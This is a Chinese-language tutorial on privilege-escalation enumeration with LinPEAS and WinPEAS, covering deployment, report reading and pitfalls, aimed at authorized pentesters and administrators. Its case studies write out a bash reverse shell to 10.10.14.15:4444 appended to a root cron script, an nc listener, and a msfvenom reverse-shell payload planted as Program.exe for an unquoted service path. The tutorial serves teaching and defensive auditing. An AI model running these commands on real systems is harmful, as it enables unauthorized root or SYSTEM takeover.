
拿到一台低权限的主机之后下一步最想做的事往往就是“升权限”。这个环节里LinPEAS 和 WinPEAS 是目前安全圈里用得最广泛的提权辅助工具它们的核心工作就是漏洞自动排查把系统里可能被利用的配置错误、危险权限、过期组件全部翻出来自动做一次体检。这篇内容我按实战流程来讲为什么选这两个工具、怎么快速跑起来、输出报告怎么看、以及真实场景里如何从线索走到提权成功最后把容易踩的坑一并整理出来。这篇文章适合两类人一类是做授权渗透测试、靶机练习的初学者想系统学提权枚举流程另一类是自己维护 Linux / Windows 服务器想检查是否存在危险配置的系统管理员。因为工具本身是开源的用法透明任何环境下都能用放心往下看。1. 工具选型与核心原理解读1.1 提权漏洞自动排查为什么需要枚举工具提权本质上就是“用低权限身份找到系统里某个可以被利用的错误最终拿到高权限身份”。整个过程最耗时的一步不是利用而是枚举。你需要手工去翻内核版本、环境变量、SUID 文件、sudo 配置、计划任务、服务权限、注册表项……如果靠一条条命令敲效率低不说还特别容易漏项。PEAS 这类工具解决的就是这个痛点。它把数百条检查项全部内置一次性收集完毕再把结果按风险等级上色。相当于你请了一个熟悉系统检查清单的助手把整个系统里里外外翻一遍然后用红黄绿告诉你“哪里可能有大问题”省去大量重复劳动。而且它的设计原则是“广覆盖先发现”。很多提权路径不是靠灵光一现想出来的而是检查项堆出来的某个服务以高权限运行但配置文件可写、某个计划任务执行了可写的脚本、某个二进制文件带 SUID 位且存在已知漏洞……这些在手工场景下很容易忽略在自动化枚举里却会清晰暴露。1.2 LinPEAS 和 WinPEAS 的分工差异虽然都叫 PEAS两者本质上是针对不同操作系统的独立工具不能混用。对比维度LinPEASWinPEAS运行平台Linux / Unix 类系统Windowsexe / bat 两种实现语言Shell 脚本C# 编译的 exebat 是早期替代方案核心检查方向SUID、sudo、capabilities、cron、NFS、环境变量等服务权限、注册表、敏感凭据、令牌权限、计划任务、AppLocker 等输出风格终端彩色文本适合直接看也带颜色标记可输出到文件再分析两者的操作系统权限模型差异巨大Linux 靠 UID/GID、SUID 位、capabilities 这些机制Windows 靠 ACL、服务权限、特权令牌如 SeImpersonatePrivilege等。所以即使目标只有一个我也建议 Linux 主机用 LinPEASWindows 主机用 WinPEAS不要交叉互换。1.3 为什么项目里选 PEASS 而不是零散手动命令有些老手会说“我不依赖工具自己敲命令就行”。这话对但只对了解所有检查项的人成立。PEASS 的不可替代性体现在两点一是覆盖面极广二是更新速度快。项目名叫 PEASS-ng是 Privilege Escalation Awesome Scripts Suite 的缩写社区维护非常活跃。新出现的高危 CVE只要影响本地提权场景往往很快就会被加进检查逻辑。相比之下手工枚举依赖个人经验积累做不到这种程度。从落地角度来看LinPEAS 和 WinPEAS 都只需要一个文件就能运行不需要安装依赖不碰编译环境这在实际测试里非常重要。目标机器很可能没有外网、没有包管理器、甚至只有最基础的系统组件单文件脚本几乎是唯一能保证“带得进去、跑得起来”的形态。2. 部署与快速上手2.1 Linux 环境三分钟跑完第一轮 LinPEASLinPEAS 是一个 shell 脚本主文件就叫linpeas.sh。不需要安装拉到目标机器上直接执行就行。最简单的方式是用 Python 起一个临时 HTTP 服务然后让目标机器下载。自己机器上先进入存放脚本的目录执行python3 -m http.server 8000目标机器上执行wget http://你的IP:8000/linpeas.sh bash linpeas.sh -a | tee linpeas_report.txt如果目标没有 wget优先试 curlcurl -o linpeas.sh http://你的IP:8000/linpeas.sh bash linpeas.sh -a | tee linpeas_report.txt跑的过程中能实时看到彩色输出流最后同时保存一份完整报告。为什么我强烈建议tee保留文件因为终端有缓冲滚动内容容易丢失而且提权成功后当前 shell 状态会变回头再看报告就晚了。如果目标环境里 bash 版本过旧或者连 bash 都没有部分精简容器只有 sh可以先试试sh linpeas.sh大部分情况下也能跑。实在跑不了就用类似 Linux Smart Enumeration 之类的备用脚本但那是后话这里不展开。2.2 Windows 环境WinPEAS 的两种交付形式和运行WinPEAS 在 Windows 上主要有两个版本编译好的 exe 和纯 bat。exe 是首选检测项更多输出更稳定bat 版本适合 exe 被杀毒拦截或者 .NET 环境不完整时的备胎。exe 版本建议直接去 PEASS-ng 的 GitHub Releases 页面下载对应文件名一般是winPEASx64.exe和winPEASx86.exe按目标系统架构选择。目标机器上下载可以用 certutilcertutil -urlcache -split -f http://你的IP:8000/winPEASx64.exe winPEAS.exePowerShell 环境下也可以直接iwr -Uri http://你的IP:8000/winPEASx64.exe -OutFile winPEAS.exe运行就一句话winPEAS.exe -fast -silent我一般会加上-silent省得交互提示影响节奏-fast可以跳过网络扫描之类耗时项目提高效率。如果目标系统比较老可能要加-wait参数调整系统信息收集的等待时间具体可以进winPEAS.exe -h看帮助。2.3 常用参数与执行模式的选择这两个工具都提供了参数不要一上来就无脑全量跑。我的习惯是分两轮第一轮先跑默认或快速模式目标是把系统里“一眼就能看到的高风险”抓出来比如常见的密码硬编码、可写的服务、危险的 sudo 配置。第二轮根据第一轮的输出线索再针对性地跑全量检查。比如 Linux 下第一轮发现某个可疑目录可写但没有更多上下文我就用-a重新跑一遍把网络、进程、文件系统的检查全打开。LinPEAS 的参数设计里-a表示执行更完整的检查-s可以跳过用户组枚举减少输出噪音-r可以限制某些检查适合不想让工具太显眼的场景。Windows 下也有类似逻辑按需调整即可。还有个细节建议输出报告除了保存终端文本外Linux 下还可以用script -q -c bash linpeas.sh -a report.log记录终端全部内容这样颜色标记在重放时也保留得住。如果只看纯文本丢失了颜色信息解读难度会明显上升。3. 输出报告的核心解读方法3.1 颜色标记与风险优先级体系PEAS 的输出不是一堆文本堆砌而是有明确优先级逻辑的。红色代表高风险项通常会直接指出“这里存在可利用的配置”黄色表示中风险或值得进一步确认的项绿色一般是安全或信息性内容青色、蓝色多用于普通信息比如系统版本、用户名、网络接口等。初学者最容易犯的错误是“看到红色就上头看到绿色就忽略”。实际上红色只代表工具认为这条线索优先级高不代表它一定可以稳定利用绿色也不代表完全没用某些信息可以在后续手工检查中组合成利用链。所以我的解读口诀是先全局扫一遍红色把最可疑的记下来再关注黄色区块里与“文件可写”“权限过大”“配置不当”相关的描述最后回过头用绿色信息补全上下文比如当前用户、所在组、系统版本、内核版本等细节。3.2 Linux 关键区块逐个拆解LinPEAS 的输出组织得很清晰我这里挑几个低频但高价值、新手容易忽略的区块讲。第一是SUID 与 capabilities区块。SUID 文件就是你用普通用户执行它时会自动以文件属主身份运行。如果属主是 root而且文件本身存在可利用漏洞那就是一条直接通向 root 的路径。capabilities 是 SUID 的现代替代方案比如一个二进制拥有cap_setuid能力也能实现类似效果。工具会列出这些文件你要做的是判断哪些是系统自带、哪些是管理员额外放置的。第二是sudo 配置区块。LinPEAS 会尝试读取当前用户的 sudo 权限如果发现你能无密码执行某个命令而那个命令又允许读取文件或执行命令风险立刻上升。这里要特别注意sudo -l的结果后面结合 GTFOBins 网站去查对应命令的提权方法。第三是计划任务与 systemd 定时器。重点看 cron 任务是否由 root 执行、脚本路径是否可写、脚本是否引用了用户可控的变量。很多靶场和真实环境的漏洞都出在这里。第四是可写目录与 PATH 环境变量。如果 PATH 中某个目录是当前用户可写的而 root 通过计划任务或脚本调用了未指定完整路径的命令理论上攻击者可以在那个目录放一个同名恶意程序实现“守株待兔”。3.3 Windows 关键区块逐个拆解WinPEAS 的输出同样分层明确我这里重点讲四个经典区块。服务权限与未引用服务路径Unquoted Service Path是 Windows 提权里最经典的一条路。如果服务路径包含空格且没有被引号包起来Windows 会尝试按空格拆分路径逐级查找可执行文件。举个例子路径C:\Program Files\My App\svc.exe会被拆成尝试执行C:\Program.exe、C:\Program Files\My.exe如果中间某个目录你正好有写入权限放一个同名恶意 exe服务重启时就会执行它。WinPEAS 会直接把这个风险点标出来省得自己逐个服务去翻。AlwaysInstallElevated 注册表项是另一个容易被自动工具揪出的大礼包。如果HKCU\Software\Policies\Microsoft\Windows\Installer和HKLM\Software\Policies\Microsoft\Windows\Installer下的AlwaysInstallElevated都为 1任何用户都能以 SYSTEM 权限安装 MSI 包等于直接白送提权路径。令牌权限区块会列出当前进程的 Token 权限比如SeImpersonatePrivilege、SeAssignPrimaryTokenPrivilege。这些权限在服务账户和 IIS 应用池账户里很常见配合 RoguePotato、PrintSpoofer 这类工具可以实现从服务账户到 SYSTEM 的跨越。WinPEAS 只会告诉你“你有这个权限”怎么利用还得看环境。敏感凭据自动登录区块会检查注册表里的DefaultPassword、自动登录口令、VNC 口令、RDP 凭据等。低权限用户能读到这些信息的话等于系统把大门钥匙直接挂在了门框上。4. 实战案例从线索到提权的完整链路4.1 Linux 案例可写计划任务脚本某次授权测试目标是一台 Ubuntu 服务器我拿到的是www-data权限。跑完 LinPEAS 后红色区块里出现了一行某个 root 用户的 cron 任务指向/opt/scripts/backup.sh而这个脚本文件被标记为“当前用户可写”。这意味着什么root 每天某个时间自动执行这个脚本而我能改写它。接下来就很简单我把脚本内容追加一段反弹 shell 命令然后等 cron 触发echo bash -i /dev/tcp/10.10.14.15/4444 01 /opt/scripts/backup.sh在自己的机器上提前起监听nc -lvnp 4444cron 一执行监听端就收到了一个 root shell。整个过程就是 LinPEAS 先把“可写的 root 脚本”这条线索高亮我再顺着线索确认下定时任务确实在跑最后写入载荷闭环完成。这个案例里最容易忽略的点是即使脚本可写如果对应任务已经被管理员停用写了也没用。所以我拿到线索后会先cat /etc/crontab和对应目录确认任务状态再动手否则就是白费功夫。4.2 Windows 案例未引用服务路径另一个场景是 Windows Server 2016我拿到的是一个普通域用户。WinPEAS 的输出中未引用服务路径区块直接列出了一个服务MyCustomService路径是C:\Program Files\Custom Service\service.exe。检查路径后发现C:\Program Files\Custom Service目录对当前用户有写权限而 Windows 在启动服务时因为路径没加引号会先尝试C:\Program.exe。那我就在C:\下了放一个名为Program.exe的恶意程序payload 用 msfvenom 生成内容是把自己加入 Administrators 组也可以直接反弹 SYSTEM shell。生成 payload 的命令类似msfvenom -p windows/x64/shell_reverse_tcp LHOST10.10.14.15 LPORT4445 -f exe -o Program.exe把Program.exe上传到C:\然后重启服务或者等管理员重启服务shell 就会以 SYSTEM 权限回来。实际工作中遇到服务不能随便重启的情况需要评估影响范围确认授权内容允许再操作。注意这只是一个代表场景真实环境里变量很多目录不一定可写、服务不一定能重启、杀软可能会有拦截。所以“发现线索 → 验证可行性 → 构造利用 → 恢复现场”这个流程每一步都不能省。4.3 输出到验证的闭环习惯用 PEAS 不等于提权成功。工具的价值是“减少搜索空间”最终还是要靠人工验证。我的固定流程是第一步把 PEAS 输出里所有红色项按“可利用难度”排序第二步结合系统版本、补丁情况、当前用户权限环境做可行性分析第三步只对过关的线索动手验证验证过程中尽量用内存 shell 或临时方案避免污染目标文件系统第四步提权成功后立刻复核现场把写入的文件、修改的配置还原或清除。这套闭环习惯帮我避免了很多次“在一条死路上浪费两小时”的情况。尤其内核提权红色标记只代表“版本可能受影响”不代表“漏洞一定能利用成功”很多时候编译环境不满足、防御机制开启都会让路走不通。5. 常见问题与避坑实录5.1 运行层报错脚本起不来怎么办LinPEAS 在有些精简容器里会提示bash: syntax error这通常是系统默认 shell 或 bash 版本不兼容导致的。先确认目标上有没有 bashwhich bash没有就尝试sh linpeas.sh还是不行检查文件是否因为下载过程出现 CRLF 换行Windows 下载再传回 Linux 时常发生用dos2unix linpeas.sh或sed -i s/\r$// linpeas.sh修一下。WinPEAS 报错最常见的是 .NET 版本不够新exe 版本跑不起来。先执行winPEAS.bat试试或者下载对应旧版本的 exe。还有杀毒软件直接把文件隔离的情况建议在测试环境先加白名单或用 bat 版本。5.2 输出结果误判的三种典型情况第一SUID 文件块里列了/usr/bin/passwd这类系统自带文件不代表可以利用。工具只会标记“这个文件有 SUID 位”不会帮你判断它是否安全。看到这种先保持冷静重点看那些自定义路径或者非标准二进制。第二内核版本过旧被标红色不代表一定能提权成功。现代系统里有 ASLR、SMEP、KASLR 等缓解机制很多老 CVE 虽然影响版本但利用条件极其苛刻。如果只是追求快速拿权限先看配置错误类线索比死磕内核更有希望。第三Windows 服务路径可写只代表“这个目录允许当前用户写入”不代表服务不稳定或一定会被重启。你需要确认服务启动账户是 SYSTEM、服务状态是自动、而且你有权限手动重启服务或能等待自然重启三者缺一就要重新评估。5.3 工具边界与使用红线工具本身无属性但使用场景必须严格限定在你自己有授权的主机、靶场环境和实验环境里。无论目标是公网服务器、内网办公电脑还是第三方测试系统未经授权去枚举、利用漏洞都会踩法律红线。这是整个行业的底线讨论工具、学习技术没有任何问题但实际执行时务必确认授权边界。另外要认清工具定位PEAS 是辅助排查工具不是一键提权工具。它不会直接弹出 root 或 SYSTEM 的 shell所有利用环节都需要你手动完成。网上某些叫“提权助手”之类名字的程序来源不明很可能捆绑后门真机环境里千万不要图省事去下载运行。正规工具用官方 Release、开源仓库、可信渠道获取才能保证测试过程的透明和安全。最后分享一个长期实测下来的习惯每次拿到新主机我第一遍跑 PEAS 都有固定顺序——先看系统版本和补丁再看 SUID/服务权限最后看计划任务和敏感文件一次跑完存一份报告。这套动作完整跑下来再配合手工验证基本能把系统里最容易出问题的地方全部过一遍。工具能提高效率但经验才是判断边界的关键多跑靶机、多复盘输出你会发现读报告的速度会越来越快。